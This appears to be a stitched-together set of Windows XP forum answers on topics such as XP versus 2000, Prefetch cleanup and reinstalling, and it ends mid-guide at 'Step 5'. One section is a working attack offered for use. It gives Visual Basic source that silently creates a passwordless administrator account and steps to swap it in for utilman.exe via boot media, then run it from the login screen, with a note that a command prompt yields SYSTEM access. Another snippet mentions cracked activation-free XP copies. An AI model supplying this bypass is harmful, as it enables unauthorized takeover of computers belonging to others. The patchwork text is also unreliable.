It's a computer Operating System.\n\nIn takes a user input (mouse, keyboard, trackball, touch screen etc...) and converts it into something the computer can understand, it then usually results in the computer performing a specific series of actions.\n\nCreated by Microsoft, it's the most recent incarnation of it's 'popular' Windows platform. (I say popular because unfortunately most people have no choice about it!). It's probably Windows most stable version (excluding Server editions maybe).

I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this \n\nto work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive. \n\nOverview: \nWindows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is \n\nlocated at C:&#92;Windows&#92;system32&#92;utilman.exe for windows XP and C:&#92;WINNT&#92;System32&#92;utilman.exe for windows 2000. So all you have to do is make \n\nyour own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work. \n\nIf the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this \n\nwill take a few minutes depending on how fast the PC is. \n\nFirst We need to make the program \nI used Visual Basic 6, here is my source code that i used to create the administrative account: \n\n#################################START############################### \nPrivate Sub Form_Load() \nShell "net user NewAdmin " & """""" & " /add", vbHide \nPause (1) \nShell "net localgroup administrators NewAdmin /add", vbHide \nPause (1) \nmsgbox "Added Administrative User",16,"Hacked XP" \nEnd \nEnd Sub \n\nSub Pause(interval) \n'Pauses execution \nCurrent = Timer \nDo While Timer - Current < Val(interval) \nDoEvents \nLoop \nEnd Sub \n\n'#################################END############################### \n\nCompile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank \n\npassword and then adds them to the Administrators Group. \n\nOk Now that we've made the program lets move on... \n\nFAT32 \n1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe \n2. Add the newly made Utilman.exe to the Floppy \n3. Restart the computer with the floppy in it \n4. After DOS loads type C: and press enter. \n5. If it changes from A:/> to C:/> then your doing good \n6. use this command: Copy A:&#92;utilman.exe C:&#92;windows&#92;system32&#92;utilman.exe press Y to overwrite the exsisting file \n7. Restart the computer without the floppy in it \n8. When it gets to the Login Screen Press the Windows Key + U \n9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10 \n\n9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your \n\nPC. \n10. After pressing <b>Windows Key + U</b> then type in the username NewAdmin and push Enter. Thats It you now have administrative access to \n\nyour PC. \n\n\nNTFS \nUse a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt)

Windows 2000 and Windows XP are essentially the same operating system (known internally as Windows NT 5.0 and Windows NT 5.1, respectively.) Here are some considerations if you're trying to decide which version to use:\n\nWindows 2000 benefits\n\n    * Windows 2000 has lower system requirements, and has a simpler interface (no "Styles" to mess with).\n    * Windows 2000 is slightly less expensive, and has no product activation.\n    * Windows 2000 has been out for a while, and most of the common problems and security holes have been uncovered and fixed.\n    * Third-party software and hardware products that aren't yet XP-compatible may be compatible with Windows 2000; check the manufacturers of your devices and applications for XP support before you upgrade. \n\nWindows XP benefits\n\n    * Windows XP is somewhat faster than Windows 2000, assuming you have a fast processor and tons of memory (although it will run fine with a 300Mhz Pentium II and 128MB of RAM).\n    * The new Windows XP interface is more cheerful and colorful than earlier versions, although the less-cartoony "Classic" interface can still be used if desired.\n    * Windows XP has more bells and whistles, such as the Windows Movie Maker, built-in CD writer support, the Internet Connection Firewall, and Remote Desktop Connection.\n    * Windows XP has better support for games and comes with more games than Windows 2000.\n    * Windows XP is the latest OS - if you don't upgrade now, you'll probably end up migrating to XP eventually anyway, and we mere mortals can only take so many OS upgrades.\n    * Manufacturers of existing hardware and software products are more likely to add Windows XP compatibility now than Windows 2000 compatibility.

Windows XP does not accept to work on other machines than the one that been installed into.\nmeans, when you install windows XP on hard drive in machine1, you can not run that windows by moving hard drive in machine2.\n\nYou need to install new Windows XP into this old hard while in machine2.\n\n\nXLMan

Takeaway:\nWindows XP's Prefetch folder stores information about each program you launch; then, on subsequent restarts, XP uses the information in the folder to preload parts of those programs at boot time. Find out why you need to clean out the Prefetch folder periodically to keep boot times from dragging.\n\nOne of Microsoft's big selling points for Windows XP was that it loads applications much faster than its predecessors. To accomplish this feat, Windows XP uses what is called the "Prefetch technique," in which the operating system gathers information about each program that you launch and stores that information in the &#92;Windows&#92;Prefetch folder. Then on subsequent restarts, Windows XP uses the information in the Prefetch folder to essentially preload parts of those programs at boot time. Thus, when you launch your application, it appears to load really fast.\n\nHowever, the Prefetch folder can accumulate too much information over time. This makes the operating system so busy loading bits and pieces of lots of applications into memory that it ends up slowing down the boot process. Fortunately, you can clean out the Prefetch folder at any time. Follow these four steps:\n\n   1. Access the Run dialog box by pressing [Windows]R.\n   2. Type Prefetch in the Open text box and click OK.\n   3. Press [Ctrl]A to select all the files.\n   4. Press [Delete].\n\nAs you use your system, Windows XP will rebuild the contents of the Prefetch folder.\n\nBUT DON'T DELETE LAYOUT.INI FILE FROM THIS FOLDER

It's called a System Restore CD. They usually ship with new PCs. For example, an older Dell computer I had, that shipped with WinXP, and the computer got fried. Well, I had an extra computer lying around. Keep in mind that the CD said for Dell computers only, and that it didn't allow for re-installation of drivers, Windows components (IIS 5.0, etc.), and things like that.\n\nWell, I popped the CD into a NON-Dell computer, installed WinXP Pro, and I was done. I checked for drivers, and guess what, I found all I needed! =) And I was also able to install IIS and other Windows Components. =)\n\nBut in a way it was legal. Because I had purchased the Dell PC. I just used the restore CD to install WinXP on another machine. It was a legal copy though. =D\n\nAnd I HAVE seen Windows XP Home/Pro (including SP2 as well), that included a "No-Activation" crack. It works just like a regular Windows XP installation, except the activation is already done. =P\n\nI do not recommend it though. But I wanted you to know that it IS possible. But I'd rather purchase it. But, if you're on a high-speed internet connection, why not just use WinXP and download Service Pack 2??

No, not at all.  It is supposed to free up RAM that a program/application didn't release (back to the operating system).  However, these types of applications aren't needed with Windows 2000 or XP.  Now, if you still have any of the 3 versions of Windows 98, then it will work great, and you actually need it.

What you’ll need: \n\nA Windows XP machine in dire need of a fresh start\n(Without any crucial, un-backedup data on it) \nA Windows XP installation CD with a valid Product Key\n(Preferably the disc that shipped with the computer originally, in which case the Product Key won’t be obviously listed) \nThe CDs and serial numbers of all the software you need to install on your fresh “new” machine \nHardware driver discs that shipped with the PC and any components you added on\n(Optional, but VERY strongly recommended) \nAnother ‘net-connected computer of any OS persuasion with a CD burner, thumb drive, or other removable disk\n(Optional, but strongly recommended, for looking up stuff and downloading drivers in case of emergency) \nOne full day to get your PC fully functioning again. \n\nGot all that? Good. \n\nLet’s get started. \n\nStep 1. Back up your data.\nFirst, make sure absolutely NOTHING you cannot afford to lose is on the drive you’re going to install Windows on (let’s say the C: drive.) Move all your documents and settings off the machine. Back up your Firefox settings with MozBackup, export your Quicken file, SyncBack profiles, Apache configuration and absolutely anything else that you want restored after you’re done. Just make sure it’s off the machine that’s going under the knife. \n\nStep 2. Audit your current PC setup.\nOnce upon a time, I did tech support for Windows 95 PCs, when “Plug and Play” was a fairly new concept that was rightly referred to as “Plug and Pray” amongst my disgruntled technician co-workers. Today, Windows XP is eons ahead of 95 in terms of its amazing ability to detect all the hardware in your computer and install the right drivers for it. HOWEVER, it’s still not perfect. PC’s come with a whole wide range of video cards and network adaptors and Bluetooth thingamajiggers, and it’s very possible you’ll install XP and it won’t know exactly what brand of TV tuner card you’ve got and how to find the driver for it. \n\nSo, before we do anything, we’re going to take an inventory of all the hardware you’ve currently got installed. I used to print a report from Device Manager for this purpose (Control Panel, System, Hardware, Device Manager, Action, Print) but a handy little utility called Belarc Advisor [via Nicholas Roussos] does a nicer job than Device Manager. Belarc will create a report detailing your system, its installed hardware components, software applications and serial numbers. Download the free Belarc, run a report and print it out. Keep it nearby for reference later. \n\nNote: for those of you who do not have the driver discs for all your hardware - go ahead and print out the report from Device Manager in addition to the Belarc report. You’ll need all the help you can get, you brave souls. \n\nStep 3. Take a deep breath, and say goodbye to everything on your C: drive.\nSeriously. It’s all going away now. Nervous? Revisit steps 1 & 2. \n\nStep 4. Insert the Windows installation disk into your CD drive. Shut down your PC. Then, boot from CD.\nThis part is important: do NOT run the Windows installation from Windows itself. Shut down first, and then boot up the machine from CD. My Dell has a little message as it’s booting up that says “Press F12 to boot from CD,” so that’s what I did. If you’re not sure how to boot from CD, check your PC’s user guide for more info. \n\nThe reason why booting from CD is important is because we’re going to delete the C: drive partition where Windows is installed and re-format it. You can’t do this if Windows booted from C:, because it can’t delete the partition from which it is running. \n\nYou CAN install Windows without deleting the partition and formatting, but that means all your program files and other riff-raff that’s collected on your C: drive will still be there when you’re done, just taking up unnecessary space. That’s not the point of all this. Be sure to boot from CD. \n\nStep 5
